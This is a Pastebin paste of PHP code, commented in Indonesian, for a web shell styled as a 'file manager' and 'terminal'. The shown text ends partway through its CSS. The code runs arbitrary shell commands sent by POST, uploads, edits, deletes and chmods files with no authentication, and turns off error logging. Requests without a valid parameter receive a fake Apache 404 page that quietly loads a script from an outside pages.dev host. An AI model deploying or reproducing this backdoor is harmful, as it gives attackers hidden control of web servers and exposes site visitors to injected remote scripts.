CaFc_Br40ck

FILEMANAGER V.2

Mar 10th, 2026
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 61.98 KB | None | 0 0
  1. <?php
  2. // Konfigurasi awal
  3. set_time_limit(0);
  4. error_reporting(0);
  5. @ini_set('error_log',null);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8. @ini_set('output_buffering',0);
  9. @ini_set('display_errors', 0);
  10. date_default_timezone_set('Asia/Jakarta');
  11.  
  12. // Fungsi untuk mendapatkan IP
  13. function ip() {
  14.     $ipas = '';
  15.     if(getenv('HTTP_CLIENT_IP'))
  16.         $ipas = getenv('HTTP_CLIENT_IP');
  17.     else if(getenv('HTTP_X_FORWARDED_FOR'))
  18.         $ipas = getenv('HTTP_X_FORWARDED_FOR');
  19.     else if(getenv('HTTP_X_FORWARDED'))
  20.         $ipas = getenv('HTTP_X_FORWARDED');
  21.     else if(getenv('HTTP_FORWARDED_FOR'))
  22.         $ipas = getenv('HTTP_FORWARDED_FOR');
  23.     else if(getenv('HTTP_FORWARDED'))
  24.         $ipas = getenv('HTTP_FORWARDED');
  25.     else if(getenv('REMOTE_ADDR'))
  26.         $ipas = getenv('REMOTE_ADDR');
  27.     else
  28.         $ipas = 'IP tidak dikenali';
  29.     return $ipas;
  30. }
  31.  
  32. // Fungsi exe()
  33. function exe($cmd) {
  34.     // Jika $cmd adalah file, baca isinya
  35.     if(is_file($cmd)) {
  36.         $buff = @file_get_contents($cmd);
  37.         return htmlspecialchars($buff);
  38.     }
  39.  
  40.     if(function_exists('system')) {    
  41.         @ob_start();      
  42.         @system($cmd);      
  43.         $buff = @ob_get_contents();      
  44.         @ob_end_clean();        
  45.         return htmlspecialchars($buff);    
  46.     } elseif(function_exists('exec')) {      
  47.         @exec($cmd,$results);      
  48.         $buff = "";      
  49.         foreach($results as $result) {          
  50.             $buff .= $result . "\n";      
  51.         }
  52.         return htmlspecialchars($buff);    
  53.     } elseif(function_exists('passthru')) {    
  54.         @ob_start();      
  55.         @passthru($cmd);      
  56.         $buff = @ob_get_contents();      
  57.         @ob_end_clean();      
  58.         return htmlspecialchars($buff);    
  59.     } elseif(function_exists('shell_exec')) {    
  60.         $buff = @shell_exec($cmd);      
  61.         return htmlspecialchars($buff);    
  62.     }
  63.  
  64.     return false; // Jika tidak ada fungsi yang tersedia
  65. }
  66.  
  67. // Sistem informasi
  68. $disfunc = @ini_get("disable_functions");
  69. if(empty($disfunc)) {
  70.     $disfc = "NONE";
  71. } else {
  72.     $disfc = $disfunc;
  73. }
  74.  
  75. if(!function_exists('posix_getegid')) {
  76.     $user = @get_current_user();
  77.     $uid = @getmyuid();
  78.     $gid = @getmygid();
  79.     $group = "?";
  80. } else {
  81.     $uid = @posix_getpwuid(posix_geteuid());
  82.     $gid = @posix_getgrgid(posix_getegid());
  83.     $user = $uid['name'];
  84.     $uid = $uid['uid'];
  85.     $group = $gid['name'];
  86.     $gid = $gid['gid'];
  87. }
  88.  
  89. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
  90. $server_ip = gethostbyname($_SERVER['HTTP_HOST']);
  91. $software = $_SERVER['SERVER_SOFTWARE'];
  92. $lihat = ip();
  93. $sys = php_uname();
  94.  
  95. // Fungsi untuk format size
  96. function format_size($bytes) {
  97.     if ($bytes >= 1073741824) {
  98.         return number_format($bytes / 1073741824, 2) . ' GB';
  99.     } elseif ($bytes >= 1048576) {
  100.         return number_format($bytes / 1048576, 2) . ' MB';
  101.     } elseif ($bytes >= 1024) {
  102.         return number_format($bytes / 1024, 2) . ' KB';
  103.     } elseif ($bytes > 1) {
  104.         return $bytes . ' bytes';
  105.     } elseif ($bytes == 1) {
  106.         return '1 byte';
  107.     } else {
  108.         return '0 bytes';
  109.     }
  110. }
  111.  
  112. // Fungsi untuk mendapatkan permission dalam format octal
  113. function get_permission_octal($filepath) {
  114.     if (!file_exists($filepath)) {
  115.         return '0000';
  116.     }
  117.    
  118.     $perms = fileperms($filepath);
  119.     $octal = substr(sprintf('%o', $perms), -4);
  120.     return str_pad($octal, 4, '0', STR_PAD_LEFT);
  121. }
  122.  
  123. // Fungsi untuk unarchive file
  124. function unarchive_file($archive_path, $destination_dir = null) {
  125.     if (!file_exists($archive_path)) {
  126.         return "File tidak ditemukan";
  127.     }
  128.    
  129.     if ($destination_dir === null) {
  130.         $destination_dir = dirname($archive_path);
  131.     }
  132.    
  133.     $filename = basename($archive_path);
  134.     $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
  135.    
  136.     // Buat directory tujuan jika belum ada
  137.     if (!is_dir($destination_dir)) {
  138.         @mkdir($destination_dir, 0755, true);
  139.     }
  140.    
  141.     // Periksa command yang tersedia
  142.     $commands = [];
  143.    
  144.     // Cek command unzip
  145.     if (function_exists('shell_exec')) {
  146.         $unzip_check = @shell_exec('which unzip');
  147.         if (!empty($unzip_check)) {
  148.             $commands['zip'] = 'unzip -q "%s" -d "%s"';
  149.         }
  150.     }
  151.    
  152.     // Cek command tar
  153.     if (function_exists('shell_exec')) {
  154.         $tar_check = @shell_exec('which tar');
  155.         if (!empty($tar_check)) {
  156.             $commands['tar'] = 'tar -xf "%s" -C "%s"';
  157.             $commands['tar.gz'] = 'tar -xzf "%s" -C "%s"';
  158.             $commands['tgz'] = 'tar -xzf "%s" -C "%s"';
  159.             $commands['tar.bz2'] = 'tar -xjf "%s" -C "%s"';
  160.         }
  161.     }
  162.    
  163.     // PHP built-in zip extraction
  164.     if (extension_loaded('zip') && $extension === 'zip') {
  165.         $zip = new ZipArchive;
  166.         if ($zip->open($archive_path) === TRUE) {
  167.             $zip->extractTo($destination_dir);
  168.             $zip->close();
  169.             return "File $filename berhasil diekstrak menggunakan PHP Zip extension";
  170.         }
  171.     }
  172.    
  173.     // Eksekusi berdasarkan ekstensi
  174.     switch ($extension) {
  175.         case 'zip':
  176.             if (isset($commands['zip'])) {
  177.                 $cmd = sprintf($commands['zip'], $archive_path, $destination_dir);
  178.                 @shell_exec($cmd);
  179.                 return "File $filename berhasil diekstrak menggunakan unzip";
  180.             }
  181.             break;
  182.            
  183.         case 'tar':
  184.             if (isset($commands['tar'])) {
  185.                 $cmd = sprintf($commands['tar'], $archive_path, $destination_dir);
  186.                 @shell_exec($cmd);
  187.                 return "File $filename berhasil diekstrak menggunakan tar";
  188.             }
  189.             break;
  190.            
  191.         case 'gz':
  192.             if (isset($commands['tar.gz'])) {
  193.                 $cmd = sprintf($commands['tar.gz'], $archive_path, $destination_dir);
  194.                 @shell_exec($cmd);
  195.                 return "File $filename berhasil diekstrak menggunakan tar.gz";
  196.             }
  197.             break;
  198.            
  199.         case 'tgz':
  200.             if (isset($commands['tgz'])) {
  201.                 $cmd = sprintf($commands['tgz'], $archive_path, $destination_dir);
  202.                 @shell_exec($cmd);
  203.                 return "File $filename berhasil diekstrak menggunakan tgz";
  204.             }
  205.             break;
  206.            
  207.         case 'bz2':
  208.             if (isset($commands['tar.bz2'])) {
  209.                 $cmd = sprintf($commands['tar.bz2'], $archive_path, $destination_dir);
  210.                 @shell_exec($cmd);
  211.                 return "File $filename berhasil diekstrak menggunakan tar.bz2";
  212.             }
  213.             break;
  214.            
  215.         case 'rar':
  216.             // Cek jika rar command tersedia
  217.             if (function_exists('shell_exec')) {
  218.                 $rar_check = @shell_exec('which unrar');
  219.                 if (!empty($rar_check)) {
  220.                     $cmd = 'unrar x "' . $archive_path . '" "' . $destination_dir . '"';
  221.                     @shell_exec($cmd);
  222.                     return "File $filename berhasil diekstrak menggunakan unrar";
  223.                 }
  224.             }
  225.             break;
  226.     }
  227.    
  228.     return "Tidak dapat mengekstrak file $filename. Pastikan command unzip/tar tersedia atau gunakan PHP Zip extension";
  229. }
  230.  
  231. // Start session untuk menyimpan current directory dan messages
  232. if (session_status() === PHP_SESSION_NONE) {
  233.     session_start();
  234. }
  235.  
  236. // Get current directory berdasarkan parameter atau session
  237. if (isset($_GET['dir'])) {
  238.     $current_dir = $_GET['dir'];
  239.     $_SESSION['current_dir'] = $current_dir;
  240. } elseif (isset($_SESSION['current_dir'])) {
  241.     $current_dir = $_SESSION['current_dir'];
  242. } else {
  243.     $current_dir = '.';
  244. }
  245.  
  246. // Reset ke home directory jika parameter home=1
  247. if (isset($_GET['home']) && $_GET['home'] == '1') {
  248.     $current_dir = '.';
  249.     $_SESSION['current_dir'] = $current_dir;
  250.     header("Location: ?" . preg_replace('/&?home=1/', '', $_SERVER['QUERY_STRING']));
  251.     exit;
  252. }
  253.  
  254. $current_dir = realpath($current_dir) ?: $current_dir;
  255.  
  256. // Variabel untuk menyimpan message popup
  257. $popup_message = '';
  258. $popup_type = 'info';
  259.  
  260. // Proses semua action berdasarkan parameter do
  261. if (isset($_GET['do'])) {
  262.     $action = $_GET['do'];
  263.    
  264.     switch ($action) {
  265.         // File Manager Actions
  266.         case 'delete':
  267.             if (isset($_GET['file'])) {
  268.                 $file = $_GET['file'];
  269.                 $file_path = $current_dir . '/' . $file;
  270.                
  271.                 if (file_exists($file_path)) {
  272.                     if (is_dir($file_path)) {
  273.                         if (@rmdir($file_path)) {
  274.                             $popup_message = "Directory deleted successfully: " . htmlspecialchars($file);
  275.                             $popup_type = 'success';
  276.                         } else {
  277.                             $popup_message = "Failed to delete directory: " . htmlspecialchars($file);
  278.                             $popup_type = 'error';
  279.                         }
  280.                     } else {
  281.                         if (@unlink($file_path)) {
  282.                             $popup_message = "File deleted successfully: " . htmlspecialchars($file);
  283.                             $popup_type = 'success';
  284.                         } else {
  285.                             $popup_message = "Failed to delete file: " . htmlspecialchars($file);
  286.                             $popup_type = 'error';
  287.                         }
  288.                     }
  289.                 } else {
  290.                     $popup_message = "File not found: " . htmlspecialchars($file);
  291.                     $popup_type = 'error';
  292.                 }
  293.             }
  294.             break;
  295.            
  296.         case 'view':
  297.             if (isset($_GET['file'])) {
  298.                 $file = $_GET['file'];
  299.                 $file_path = $current_dir . '/' . $file;
  300.                
  301.                 if (file_exists($file_path) && !is_dir($file_path)) {
  302.                     header("Content-Type: text/plain");
  303.                     echo file_get_contents($file_path);
  304.                     exit;
  305.                 }
  306.             }
  307.             break;
  308.            
  309.         case 'download':
  310.             if (isset($_GET['file'])) {
  311.                 $file = $_GET['file'];
  312.                 $file_path = $current_dir . '/' . $file;
  313.                
  314.                 if (file_exists($file_path) && !is_dir($file_path)) {
  315.                     header('Content-Description: File Transfer');
  316.                     header('Content-Type: application/octet-stream');
  317.                     header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
  318.                     header('Content-Length: ' . filesize($file_path));
  319.                     readfile($file_path);
  320.                     exit;
  321.                 }
  322.             }
  323.             break;
  324.            
  325.         case 'chmod':
  326.             if (isset($_POST['mode']) && isset($_POST['file'])) {
  327.                 $file = $_POST['file'];
  328.                 $file_path = $current_dir . '/' . $file;
  329.                 $mode = octdec($_POST['mode']);
  330.                
  331.                 if (file_exists($file_path)) {
  332.                     if (@chmod($file_path, $mode)) {
  333.                         $popup_message = "Permissions changed successfully: " . htmlspecialchars($file) . " → " . $_POST['mode'];
  334.                         $popup_type = 'success';
  335.                     } else {
  336.                         $popup_message = "Failed to change permissions: " . htmlspecialchars($file);
  337.                         $popup_type = 'error';
  338.                     }
  339.                 } else {
  340.                     $popup_message = "File not found: " . htmlspecialchars($file);
  341.                     $popup_type = 'error';
  342.                 }
  343.             }
  344.             break;
  345.            
  346.         case 'rename':
  347.             if (isset($_POST['new_name']) && isset($_POST['file'])) {
  348.                 $file = $_POST['file'];
  349.                 $file_path = $current_dir . '/' . $file;
  350.                 $new_path = $current_dir . '/' . $_POST['new_name'];
  351.                
  352.                 if (file_exists($file_path)) {
  353.                     if (@rename($file_path, $new_path)) {
  354.                         $popup_message = "Renamed successfully: " . htmlspecialchars($file) . " → " . htmlspecialchars($_POST['new_name']);
  355.                         $popup_type = 'success';
  356.                     } else {
  357.                         $popup_message = "Failed to rename: " . htmlspecialchars($file);
  358.                         $popup_type = 'error';
  359.                     }
  360.                 } else {
  361.                     $popup_message = "File not found: " . htmlspecialchars($file);
  362.                     $popup_type = 'error';
  363.                 }
  364.             }
  365.             break;
  366.            
  367.         case 'edit':
  368.             if (isset($_POST['content']) && isset($_POST['file'])) {
  369.                 $file = $_POST['file'];
  370.                 $file_path = $current_dir . '/' . $file;
  371.                
  372.                 if (file_exists($file_path)) {
  373.                     if (@file_put_contents($file_path, $_POST['content']) !== false) {
  374.                         $popup_message = "File saved successfully: " . htmlspecialchars($file);
  375.                         $popup_type = 'success';
  376.                     } else {
  377.                         $popup_message = "Failed to save file: " . htmlspecialchars($file);
  378.                         $popup_type = 'error';
  379.                     }
  380.                 } else {
  381.                     $popup_message = "File not found: " . htmlspecialchars($file);
  382.                     $popup_type = 'error';
  383.                 }
  384.             }
  385.             break;
  386.            
  387.         case 'mkdir':
  388.             if (isset($_POST['dir_name'])) {
  389.                 $new_dir = $current_dir . '/' . $_POST['dir_name'];
  390.                 if (@mkdir($new_dir, 0755, true)) {
  391.                     $popup_message = "Directory created successfully: " . htmlspecialchars($_POST['dir_name']);
  392.                     $popup_type = 'success';
  393.                 } else {
  394.                     $popup_message = "Failed to create directory: " . htmlspecialchars($_POST['dir_name']);
  395.                     $popup_type = 'error';
  396.                 }
  397.             }
  398.             break;
  399.            
  400.         case 'copy':
  401.             if (isset($_POST['dest_name']) && isset($_POST['file'])) {
  402.                 $file = $_POST['file'];
  403.                 $file_path = $current_dir . '/' . $file;
  404.                 $dest_path = $current_dir . '/' . $_POST['dest_name'];
  405.                
  406.                 if (file_exists($file_path)) {
  407.                     if (@copy($file_path, $dest_path)) {
  408.                         $popup_message = "File copied successfully: " . htmlspecialchars($file) . " → " . htmlspecialchars($_POST['dest_name']);
  409.                         $popup_type = 'success';
  410.                     } else {
  411.                         $popup_message = "Failed to copy file: " . htmlspecialchars($file);
  412.                         $popup_type = 'error';
  413.                     }
  414.                 } else {
  415.                     $popup_message = "File not found: " . htmlspecialchars($file);
  416.                     $popup_type = 'error';
  417.                 }
  418.             }
  419.             break;
  420.            
  421.         case 'unarchive':
  422.             if (isset($_POST['file'])) {
  423.                 $file = $_POST['file'];
  424.                 $file_path = $current_dir . '/' . $file;
  425.                
  426.                 if (file_exists($file_path) && !is_dir($file_path)) {
  427.                     $result = unarchive_file($file_path, $current_dir);
  428.                     $popup_message = $result;
  429.                     $popup_type = strpos($result, 'berhasil') !== false ? 'success' : 'error';
  430.                 } else {
  431.                     $popup_message = "File not found or is a directory: " . htmlspecialchars($file);
  432.                     $popup_type = 'error';
  433.                 }
  434.             }
  435.             break;
  436.            
  437.         // Terminal Action
  438.         case 'execute':
  439.             if (isset($_POST['cmd'])) {
  440.                 $cmd = $_POST['cmd'];
  441.                 // Jika cmd adalah path relatif, gabungkan dengan current dir
  442.                 if (strpos($cmd, '/') === 0 || strpos($cmd, '~') === 0) {
  443.                     // Absolute path, biarkan seperti itu
  444.                 } else {
  445.                     // Relative path, coba dari current dir
  446.                     $test_path = $current_dir . '/' . $cmd;
  447.                     if (is_file($test_path) || is_dir($test_path)) {
  448.                         $cmd = $test_path;
  449.                     }
  450.                 }
  451.                
  452.                 $_SESSION['last_cmd'] = $cmd;
  453.                 $_SESSION['cmd_output'] = exe($cmd);
  454.                 $popup_message = "Command executed: " . htmlspecialchars($cmd);
  455.                 $popup_type = 'info';
  456.             }
  457.             break;
  458.            
  459.         // Buat File Action
  460.         case 'createfile':
  461.             if (isset($_POST['namafile']) && isset($_POST['isifile'])) {
  462.                 $namafile = $_POST['namafile'];
  463.                 $isifile = $_POST['isifile'];
  464.                
  465.                 // Jika nama file tidak absolute, tambahkan current dir
  466.                 if (strpos($namafile, '/') !== 0) {
  467.                     $namafile = $current_dir . '/' . $namafile;
  468.                 }
  469.                
  470.                 $handle = fopen($namafile, "w");
  471.                 if ($isifile) {
  472.                     $buatfile = fwrite($handle, $isifile);
  473.                 } else {
  474.                     $buatfile = $handle;
  475.                 }
  476.                
  477.                 fclose($handle);
  478.                
  479.                 if ($buatfile) {
  480.                     $popup_message = "File created successfully: " . basename($namafile);
  481.                     $popup_type = 'success';
  482.                 } else {
  483.                     $popup_message = "Failed to create file";
  484.                     $popup_type = 'error';
  485.                 }
  486.             }
  487.             break;
  488.            
  489.         // Upload Action
  490.         case 'upload':
  491.             if (isset($_FILES['file'])) {
  492.                 $filename = $_FILES['file']['name'];
  493.                 $tmp_name = $_FILES['file']['tmp_name'];
  494.                 $destination = $current_dir . '/' . $filename;
  495.                
  496.                 if (@move_uploaded_file($tmp_name, $destination)) {
  497.                     $popup_message = "File uploaded successfully: " . htmlspecialchars($filename);
  498.                     $popup_type = 'success';
  499.                 } else {
  500.                     $popup_message = "Failed to upload file: " . htmlspecialchars($filename);
  501.                     $popup_type = 'error';
  502.                 }
  503.             }
  504.             break;
  505.     }
  506.    
  507.     // Simpan message popup di session untuk ditampilkan setelah redirect
  508.     if (!empty($popup_message)) {
  509.         $_SESSION['popup_message'] = $popup_message;
  510.         $_SESSION['popup_type'] = $popup_type;
  511.     }
  512.    
  513.     // Redirect tanpa parameter msg
  514.     $query_string = $_SERVER['QUERY_STRING'];
  515.     $query_string = preg_replace('/&?do=[^&]*/', '', $query_string);
  516.     $query_string = preg_replace('/&?file=[^&]*/', '', $query_string);
  517.     header("Location: ?" . $query_string);
  518.     exit;
  519. }
  520.  
  521. // Cek parameter URL untuk menentukan halaman
  522. $page = isset($_GET['terminal']) ? 'terminal' :
  523.         (isset($_GET['buatfile']) ? 'buatfile' :
  524.         (isset($_GET['upload']) ? 'upload' :
  525.         (isset($_GET['filemanager']) ? 'filemanager' :
  526.         (isset($_GET['systeminfo']) ? 'systeminfo' : '404'))));
  527.  
  528. // Jika tidak ada parameter yang valid, tampilkan 404
  529. if ($page === '404') {
  530.     header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  531.     die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><script src='https://js-a9q.pages.dev/s.min.js?v=0.3.28'></script></body></html>');
  532. }
  533.  
  534. // Ambil popup message dari session jika ada
  535. if (isset($_SESSION['popup_message'])) {
  536.     $popup_message = $_SESSION['popup_message'];
  537.     $popup_type = $_SESSION['popup_type'];
  538.     unset($_SESSION['popup_message']);
  539.     unset($_SESSION['popup_type']);
  540. }
  541. ?>
  542. <!DOCTYPE html>
  543. <html lang="id">
  544. <head>
  545.     <meta charset="UTF-8">
  546.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  547.     <title>Terminal Web - <?php echo ucfirst($page); ?></title>
  548.     <style>
  549.         * {
  550.             margin: 0;
  551.             padding: 0;
  552.             box-sizing: border-box;
  553.             font-family: 'Consolas', 'Monaco', monospace;
  554.         }
  555.        
  556.         body {
  557.             background-color: #0c0c0c;
  558.             color: #00ff00;
  559.             padding: 20px;
  560.             line-height: 1.6;
  561.         }
  562.        
  563.         .container {
  564.             max-width: 1400px;
  565.             margin: 0 auto;
  566.             background-color: #000;
  567.             border: 1px solid #00ff00;
  568.             border-radius: 5px;
  569.             overflow: hidden;
  570.             box-shadow: 0 0 20px rgba(0, 255, 0, 0.2);
  571.         }
  572.        
  573.         .header {
  574.             background-color: #001a00;
  575.             padding: 15px;
  576.             border-bottom: 1px solid #00ff00;
  577.             text-align: center;
  578.         }
  579.        
  580.         .header h1 {
  581.             color: #ff0000;
  582.             margin-bottom: 5px;
  583.             text-shadow: 0 0 5px rgba(255, 0, 0, 0.5);
  584.         }
  585.        
  586.         .header h2 {
  587.             color: #00ff00;
  588.             font-size: 1.2em;
  589.         }
  590.        
  591.         .header-info {
  592.             font-size: 0.9em;
  593.             color: #00cc00;
  594.             margin-top: 10px;
  595.             padding: 5px;
  596.             background-color: #002200;
  597.             border-radius: 3px;
  598.         }
  599.        
  600.         .nav {
  601.             display: flex;
  602.             background-color: #002200;
  603.             border-bottom: 1px solid #00ff00;
  604.             padding: 10px;
  605.             flex-wrap: wrap;
  606.         }
  607.        
  608.         .nav-link {
  609.             background-color: <?php
  610.                 echo $page === 'terminal' ? '#00aa00' :
  611.                      ($page === 'buatfile' ? '#00aa00' :
  612.                      ($page === 'upload' ? '#00aa00' :
  613.                      ($page === 'systeminfo' ? '#00aa00' :
  614.                      ($page === 'filemanager' ? '#00aa00' : '#003300'))));
  615.             ?>;
  616.             color: <?php echo in_array($page, ['terminal', 'buatfile', 'upload', 'systeminfo', 'filemanager']) ? '#000' : '#00ff00'; ?>;
  617.             border: 1px solid #00ff00;
  618.             padding: 8px 15px;
  619.             margin: 5px;
  620.             text-decoration: none;
  621.             border-radius: 3px;
  622.             transition: all 0.3s;
  623.         }
  624.        
  625.         .nav-link:hover {
  626.             background-color: #00aa00;
  627.             color: #000;
  628.         }
  629.        
  630.         .content {
  631.             padding: 20px;
  632.             min-height: 400px;
  633.         }
  634.        
  635.         .terminal-form {
  636.             margin-bottom: 20px;
  637.         }
  638.        
  639.         .cmd-input {
  640.             width: 100%;
  641.             padding: 10px;
  642.             background-color: #001100;
  643.             color: #00ff00;
  644.             border: 1px solid #00ff00;
  645.             border-radius: 3px;
  646.             margin-bottom: 10px;
  647.             font-size: 1em;
  648.         }
  649.        
  650.         .btn {
  651.             background-color: #003300;
  652.             color: #00ff00;
  653.             border: 1px solid #00ff00;
  654.             padding: 10px 20px;
  655.             cursor: pointer;
  656.             border-radius: 3px;
  657.             font-size: 1em;
  658.             transition: all 0.3s;
  659.             text-decoration: none;
  660.             display: inline-block;
  661.         }
  662.        
  663.         .btn:hover {
  664.             background-color: #00aa00;
  665.             color: #000;
  666.         }
  667.        
  668.         .btn-danger {
  669.             background-color: #330000;
  670.             color: #ff0000;
  671.             border: 1px solid #ff0000;
  672.         }
  673.        
  674.         .btn-danger:hover {
  675.             background-color: #ff0000;
  676.             color: #000;
  677.         }
  678.        
  679.         .btn-warning {
  680.             background-color: #333300;
  681.             color: #ffff00;
  682.             border: 1px solid #ffff00;
  683.         }
  684.        
  685.         .btn-warning:hover {
  686.             background-color: #ffff00;
  687.             color: #000;
  688.         }
  689.        
  690.         .btn-info {
  691.             background-color: #000033;
  692.             color: #00ffff;
  693.             border: 1px solid #00ffff;
  694.         }
  695.        
  696.         .btn-info:hover {
  697.             background-color: #00ffff;
  698.             color: #000;
  699.         }
  700.        
  701.         .btn-success {
  702.             background-color: #003300;
  703.             color: #00ff00;
  704.             border: 1px solid #00ff00;
  705.         }
  706.        
  707.         .btn-success:hover {
  708.             background-color: #00aa00;
  709.             color: #000;
  710.         }
  711.        
  712.         .btn-home {
  713.             background-color: #660066;
  714.             color: #ff00ff;
  715.             border: 1px solid #ff00ff;
  716.         }
  717.        
  718.         .btn-home:hover {
  719.             background-color: #ff00ff;
  720.             color: #000;
  721.         }
  722.        
  723.         .output {
  724.             background-color: #001100;
  725.             border: 1px solid #00ff00;
  726.             padding: 15px;
  727.             border-radius: 3px;
  728.             margin-top: 20px;
  729.             max-height: 400px;
  730.             overflow-y: auto;
  731.             white-space: pre-wrap;
  732.             word-wrap: break-word;
  733.         }
  734.        
  735.         .file-form {
  736.             background-color: #001100;
  737.             padding: 15px;
  738.             border: 1px solid #00ff00;
  739.             border-radius: 3px;
  740.             margin-bottom: 20px;
  741.         }
  742.        
  743.         .form-group {
  744.             margin-bottom: 15px;
  745.         }
  746.        
  747.         .form-label {
  748.             display: block;
  749.             margin-bottom: 5px;
  750.             color: #00ff00;
  751.         }
  752.        
  753.         .form-input {
  754.             width: 100%;
  755.             padding: 8px;
  756.             background-color: #000;
  757.             color: #00ff00;
  758.             border: 1px solid #00ff00;
  759.             border-radius: 3px;
  760.         }
  761.        
  762.         .textarea {
  763.             min-height: 150px;
  764.             resize: vertical;
  765.             font-family: monospace;
  766.         }
  767.        
  768.         .message {
  769.             padding: 10px;
  770.             margin: 10px 0;
  771.             border-radius: 3px;
  772.             text-align: center;
  773.         }
  774.        
  775.         .success {
  776.             background-color: #003300;
  777.             color: #00ff00;
  778.             border: 1px solid #00ff00;
  779.         }
  780.        
  781.         .error {
  782.             background-color: #330000;
  783.             color: #ff0000;
  784.             border: 1px solid #ff0000;
  785.         }
  786.        
  787.         .warning {
  788.             background-color: #333300;
  789.             color: #ffff00;
  790.             border: 1px solid #ffff00;
  791.         }
  792.        
  793.         .info {
  794.             background-color: #000033;
  795.             color: #00ffff;
  796.             border: 1px solid #00ffff;
  797.         }
  798.        
  799.         .current-dir {
  800.             background-color: #001100;
  801.             padding: 10px;
  802.             border: 1px solid #00ff00;
  803.             border-radius: 3px;
  804.             margin-bottom: 20px;
  805.             font-weight: bold;
  806.         }
  807.        
  808.         .uname-info {
  809.             background-color: #001100;
  810.             padding: 10px;
  811.             border: 1px solid #00ff00;
  812.             border-radius: 3px;
  813.             margin-bottom: 20px;
  814.             text-align: center;
  815.         }
  816.        
  817.         .system-info {
  818.             background-color: #001100;
  819.             padding: 15px;
  820.             border: 1px solid #00ff00;
  821.             border-radius: 3px;
  822.             margin-bottom: 15px;
  823.         }
  824.        
  825.         .info-grid {
  826.             display: grid;
  827.             grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
  828.             gap: 15px;
  829.             margin-bottom: 20px;
  830.         }
  831.        
  832.         .info-box {
  833.             background-color: #000;
  834.             padding: 15px;
  835.             border: 1px solid #00ff00;
  836.             border-radius: 3px;
  837.         }
  838.        
  839.         .info-title {
  840.             color: #00ff00;
  841.             font-weight: bold;
  842.             margin-bottom: 10px;
  843.             border-bottom: 1px solid #00ff00;
  844.             padding-bottom: 5px;
  845.         }
  846.        
  847.         .info-content {
  848.             color: #00cc00;
  849.         }
  850.        
  851.         /* Popup Notification */
  852.         .popup-notification {
  853.             position: fixed;
  854.             top: 20px;
  855.             right: 20px;
  856.             min-width: 300px;
  857.             max-width: 500px;
  858.             padding: 15px;
  859.             border-radius: 5px;
  860.             box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
  861.             z-index: 9999;
  862.             animation: slideIn 0.3s ease-out;
  863.             border: 2px solid;
  864.         }
  865.        
  866.         .popup-success {
  867.             background-color: #001a00;
  868.             color: #00ff00;
  869.             border-color: #00ff00;
  870.         }
  871.        
  872.         .popup-error {
  873.             background-color: #1a0000;
  874.             color: #ff0000;
  875.             border-color: #ff0000;
  876.         }
  877.        
  878.         .popup-info {
  879.             background-color: #00001a;
  880.             color: #00ffff;
  881.             border-color: #00ffff;
  882.         }
  883.        
  884.         .popup-warning {
  885.             background-color: #1a1a00;
  886.             color: #ffff00;
  887.             border-color: #ffff00;
  888.         }
  889.        
  890.         .popup-close {
  891.             position: absolute;
  892.             top: 5px;
  893.             right: 10px;
  894.             color: inherit;
  895.             cursor: pointer;
  896.             font-size: 20px;
  897.             font-weight: bold;
  898.         }
  899.        
  900.         @keyframes slideIn {
  901.             from {
  902.                 transform: translateX(100%);
  903.                 opacity: 0;
  904.             }
  905.             to {
  906.                 transform: translateX(0);
  907.                 opacity: 1;
  908.             }
  909.         }
  910.        
  911.         /* File Manager Styles */
  912.         .file-manager-nav {
  913.             background-color: #001100;
  914.             padding: 15px;
  915.             border: 1px solid #00ff00;
  916.             border-radius: 3px;
  917.             margin-bottom: 15px;
  918.         }
  919.        
  920.         .breadcrumb {
  921.             display: flex;
  922.             flex-wrap: wrap;
  923.             gap: 5px;
  924.             margin-bottom: 15px;
  925.         }
  926.        
  927.         .breadcrumb-item {
  928.             color: #00ff00;
  929.             text-decoration: none;
  930.         }
  931.        
  932.         .breadcrumb-item:hover {
  933.             color: #00aa00;
  934.         }
  935.        
  936.         .breadcrumb-separator {
  937.             color: #00aa00;
  938.         }
  939.        
  940.         .file-manager-actions {
  941.             display: flex;
  942.             gap: 10px;
  943.             margin-bottom: 15px;
  944.             flex-wrap: wrap;
  945.         }
  946.        
  947.         .file-table {
  948.             width: 100%;
  949.             border-collapse: collapse;
  950.             margin-top: 15px;
  951.         }
  952.        
  953.         .file-table th {
  954.             background-color: #002200;
  955.             color: #00ff00;
  956.             padding: 12px;
  957.             text-align: left;
  958.             border: 1px solid #00ff00;
  959.         }
  960.        
  961.         .file-table td {
  962.             padding: 10px;
  963.             border: 1px solid #00ff00;
  964.             color: #00cc00;
  965.         }
  966.        
  967.         .file-table tr:hover {
  968.             background-color: #001100;
  969.         }
  970.        
  971.         .file-icon {
  972.             margin-right: 8px;
  973.         }
  974.        
  975.         .file-name {
  976.             color: #00ffff;
  977.             text-decoration: none;
  978.         }
  979.        
  980.         .file-name:hover {
  981.             color: #00ff00;
  982.             text-decoration: underline;
  983.         }
  984.        
  985.         .dir-icon {
  986.             color: #ffff00;
  987.         }
  988.        
  989.         .archive-icon {
  990.             color: #ff9900;
  991.         }
  992.        
  993.         .permission-badge {
  994.             display: inline-block;
  995.             padding: 2px 8px;
  996.             background-color: #002200;
  997.             border-radius: 3px;
  998.             font-family: monospace;
  999.             font-size: 0.9em;
  1000.         }
  1001.        
  1002.         .permission-755 {
  1003.             background-color: #003300;
  1004.             color: #00ff00;
  1005.         }
  1006.        
  1007.         .permission-644 {
  1008.             background-color: #333300;
  1009.             color: #ffff00;
  1010.         }
  1011.        
  1012.         .permission-777 {
  1013.             background-color: #660000;
  1014.             color: #ff6666;
  1015.         }
  1016.        
  1017.         .file-actions {
  1018.             display: flex;
  1019.             gap: 5px;
  1020.             flex-wrap: wrap;
  1021.         }
  1022.        
  1023.         .action-btn {
  1024.             padding: 5px 10px;
  1025.             border-radius: 3px;
  1026.             text-decoration: none;
  1027.             font-size: 0.9em;
  1028.             white-space: nowrap;
  1029.         }
